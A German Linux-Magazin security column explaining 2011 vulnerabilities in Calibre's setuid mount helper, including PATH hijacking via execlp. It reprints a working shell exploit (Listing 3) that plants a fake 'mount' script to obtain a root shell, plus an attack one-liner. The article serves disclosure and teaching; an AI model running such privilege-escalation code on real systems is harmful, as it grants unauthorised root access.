Aus Linux-Magazin 02/2012

Insecurity Bulletin: Lokaler Root-Exploit in Calibre

© Andreas Siegel, photocase.com

Die Reihe “Insecurity Bulletin” widmet sich Sicherheitsproblemen in Linux und Open-Source-Software. Dabei dienen aktuelle Schwachstellen als Anschauungsmaterial. In dieser Folge geht es um ein großes Sicherheitsloch, das ein kleines Hilfsprogramm in die E-Book-Anwendung Calibre gerissen hat.

Die E-Book-Software Calibre [1] kann man schon fast als eierlegende Wollmilchsau bezeichnen: Die Open-Source-Anwendung katalogisiert digitale Bücher, konvertiert sie von einem Format in unzählige andere, spielt sie auf Lesegeräte und kann sogar Webinhalte herunterladen und in ein E-Book packen [2].

Offenbar bemüht sich der Calibre-Autor Kovid Goyal so sehr um Features und Bedienungskomfort, dass er die Sicherheit vernachlässigt hat. Das Hilfsprogramm »calibre-mount-helper« , das Nicht-Root-Anwender beim Mounten von E-Book-Readern und USB-Speichern unterstützen soll, wurde Opfer eines lokalen Root-Exploits. Goyal hatte das Programm per Set-UID-Bit mit Rootrechten ausgestattet. Es sollte immer dann zum Einsatz kommen, wenn das lokale Linux-System keinen anderen Mount-Mechanismus für normale User bereitstellt (Abbildung 1).

Abbildung 1: Hinter diesem Menüpunkt verbirgt sich der Mount-Helper mit dem gefährlichen Set-UID-Bit.

Abbildung 1: Hinter diesem Menüpunkt verbirgt sich der Mount-Helper mit dem gefährlichen Set-UID-Bit.

Gefährlicher Helfer

Der freiberufliche Entwickler Jason Donenfeld meldete Anfang November 2011 stattliche fünf Sicherheitslücken im Mount-Helper [3] und schrieb zum Beweis gleich passenden Exploit-Code. Die kritischste der fünf angeführten Sicherheitslücken hat zur Folge, dass ein lokaler Angreifer beliebige Befehle mit Rootrechten ausführen darf. Die anderen Schwachstellen erlauben das Erzeugen und Entfernen von Verzeichnissen mit Rootrechten und geben dem Angreifer Kontrolle über das Mount-Kommando.

Grobe Schnitzer

Bei den meisten Schwachstellen handelt es sich um recht grobe Schnitzer in der Programmierung. Beispielsweise reicht der Code Benutzerargumente ungefiltert an Systembefehle wie »mkdir()« weiter, auch Umgebungsvariablen behandelt er unvorsichtig. Zusammen mit der Set-UID-Root-Konfiguration entsteht ein schwerwiegendes Sicherheitsproblem.

Umso verwunderlicher war die Reaktion von Kovid Goyal auf Donenfelds Report. Zunächst sah er die genannten Schwachstellen gar nicht als Problem an und wollte nur für einen der fünf Fehler ein Patch bereitstellen. Nach unzähligen weiteren Postings und nachgebesserten Exploits behob er schließlich auch die anderen Schwachstellen.

Der bemängelte Programmcode von Mount-Helper ist unter [4] zu finden. Jason Donenfeld hebt in seinem Bugreport einzelne Problemstellen hervor. Listing 1 zeigt die Zeilen, mit denen das Programm Verzeichnisse erzeugt. Dabei ist »mp« eine vom Benutzer kontrollierte Zeichenkette. Das Programm enthält keinerlei Prüfung der Benutzereingaben – ein Angreifer kann also nach Belieben Verzeichnisse mit Rootrechten anlegen. Das gleiche Problem tritt beim Löschen auf. Dort lautet der Code schlicht »rmd = rmdir(mp);« und erlaubt einem Angreifer leere Verzeichnisse zu löschen, ebenfalls mit den Berechtigung von Root.

Listing 1

Verzeichnisse anlegen

01 if (!exists(mp)) {
02 if (mkdir(mp, S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH) != 0) {
03 errsv = errno;
04 fprintf(stderr, "Failed to create mount point with error: %s\n", strerror(errsv));
05 }
06 }

Daneben legt das Helper-Programm eine versteckte Datei namens ».created_by_calibre_mount_helper« an. Die kann der Anwender mit ein wenig Manipulation an beliebigen Stellen des Verzeichnisbaums platzieren oder löschen.

Außerdem erlaubt das Hilfsprogramm beliebige Argumente für den Mount-Befehl, denn das Einhängen erfolgt einfach via »execlp()« (Listing 2). Auch hier sind »dev« und »mp« benutzerdefinierte Strings, die ein Angreifer ohne Kontrolle durch das Programm vorgeben kann. Das ermöglicht es ihm, das Mount-Kommando mit beliebigen Kommandozeilen-Argumenten zu versorgen.

Listing 2

Mount-Befehl

01 execlp("mount", "mount", "-t","auto", "-o", options, dev, mp, NULL);

Die letzte und schwerste Schwachstelle lässt das Ausführen beliebiger Programme mit Rootrechten zu. Sie hängt eng mit der gerade beschriebenen Implementierung des Mount-Aufrufs zusammen.

Auf bösem Pfad

In der Manpage zu »execlp()« ist Folgendes zu lesen: “Die Funktionen »execlp()« , »execvp()« und »execvpe()« bilden das Verhalten der Shell nach, indem sie eine ausführbare Datei suchen, falls der angegebene Dateiname keinen Slash (»/« ) enthält.” Die Funktion »execlp()« durchsucht also die in der Umgebungsvariablen »PATH« abgelegten Pfade, um das Mount-Executable zu finden, und führt dieses anschließend mit den Rechten von Root aus.

Ein lokaler Angreifer kann die Path-Variable aber leicht modifizieren. Hat der Angreifer beispielsweise ein selbst gemachtes »mount« -Programm im Dateisystem deponiert und verweist via »PATH« darauf, so führt der Mount-Helper den Code des Angreifers mit Rootrechten aus. Der Angreifer muss lediglich sicherstellen, dass sich sein Pfad am Anfang des Suchpfads befindet. Eine Attacke könnte beispielsweise so aussehen:

PATH=".:$PATH" calibre-mount-helper mount foo bar

Entscheidend ist hierbei, dass der Angreifer ein Executable namens »mount« in den aktuellen Pfad (».« ) gelegt hat. Alle erforderlichen Schritte hat Donenfeld in dem einfachen, Shell-basierten Exploit in Listing 3 umgesetzt. Wer dieses Skript auf einem System mit fehlerhaftem Calibre ausführt, bekommt als Belohnung eine Rootshell.

Listing 3

Mount-Exploit

01 set -e
02 echo "#######################################"
03 echo "# .50-Calibrer Assault Mount #"
04 echo "# by zx2c4 #"
05 echo "#######################################"
06 echo
07 echo -n "[+] Making temporary directory: "
08 dir="$(mktemp -d)"
09 echo "$dir"
10 cd "$dir"
11 echo "[+] Making mount point."
12 mkdir mountpoint
13 echo "[+] Writing malicious mounter."
14 cat > mount <<END
15 #!/bin/sh
16 cd /
17 echo "[+] Cleaning up: $dir"
18 rm -rf "$dir"
19 echo -n "[+] Checking root: "
20 id
21 echo "[+] Launching shell."
22 HISTFILE="/dev/null" exec /bin/sh
23 END
24 chmod +x mount
25 echo "[+] Overriding PATH and getting root."
26 PATH=".:$PATH" calibre-mount-helper mount /dev/null mountpoint

Alle Exploits und die verschiedenen Diskussionsbeiträge hat Donenfeld in seinem Blogeintrag [5] zusammengetragen.

Ausgebaut

Diese Sicherheitslücken offenbaren die bekannte Problematik von Set-UID-Programmen: Sie müssen extrem sauber programmiert werden, um Schwachstellen dieser Art zu vermeiden. Am Ende der Diskussion gab Kovid Goyal schließlich zu, dass er es wohl nicht schaffen würde, sämtliche Sicherheitsprobleme im Mount-Helper zu beheben und gleichzeitig dessen volle Flexibilität und Funktionalität zu bewahren. Darum sah er sich gezwungen, den Mount-Helper aus neuen Releases von Calibre zu entfernen.

Für die meisten Anwender ist das Entfernen von Mount-Helper kein Problem, weil das Hilfsprogramm in den großen Linux-Distributionen ohnehin nicht zum Einsatz kommt. Der Debian-Maintainer Martin Pitt beispielsweise hatte es bereits 2010 durch ein einfaches Skript ersetzt, das »udisks« aufruft – aus Sicherheitsgründen. (mhu)

Infos

  1. Calibre-Homepage: http://calibre-ebook.com
  2. Frank Wieduwilt, “Künftig digital: E-Books verwalten und lesen mit Calibre”: LinuxUser 03/10, S. 60
  3. Bugreport auf Launchpad: https://bugs.launchpad.net/calibre/+bug/885027
  4. Quellcode von Mount-Helper: http://pastebin.com/auz9SULi
  5. Donenfelds Blogeintrag zum Thema: http://blog.zx2c4.com/702

Der Autor

Mark Vogelsberger ist derzeit wissenschaftlicher Mitarbeiter am Institute for Theory and Computation der Harvard University, wo er sich mit Simulationen zur Strukturbildung im Universum beschäftigt. Er war von 1999 bis 2010 Autor der “Insecurity News” des Linux-Magazins und schreibt nun auf https://www.linux-magazin.de die Online-Ausgabe des “Insecurity Bulletin”.

DIESEN ARTIKEL ALS PDF KAUFEN
EXPRESS-KAUF ALS PDFUmfang: 2 HeftseitenPreis €0,99
(inkl. 19% MwSt.)
LINUX-MAGAZIN KAUFEN
EINZELNE AUSGABE Print-Ausgaben Digitale Ausgaben
ABONNEMENTS Print-Abos Digitales Abo
TABLET & SMARTPHONE APPS Readly Logo
E-Mail Benachrichtigung
Benachrichtige mich zu:
0 Kommentare
Älteste
Neuste Beste Bewertung
Inline Feedbacks
Alle Kommentare anzeigen
Nach oben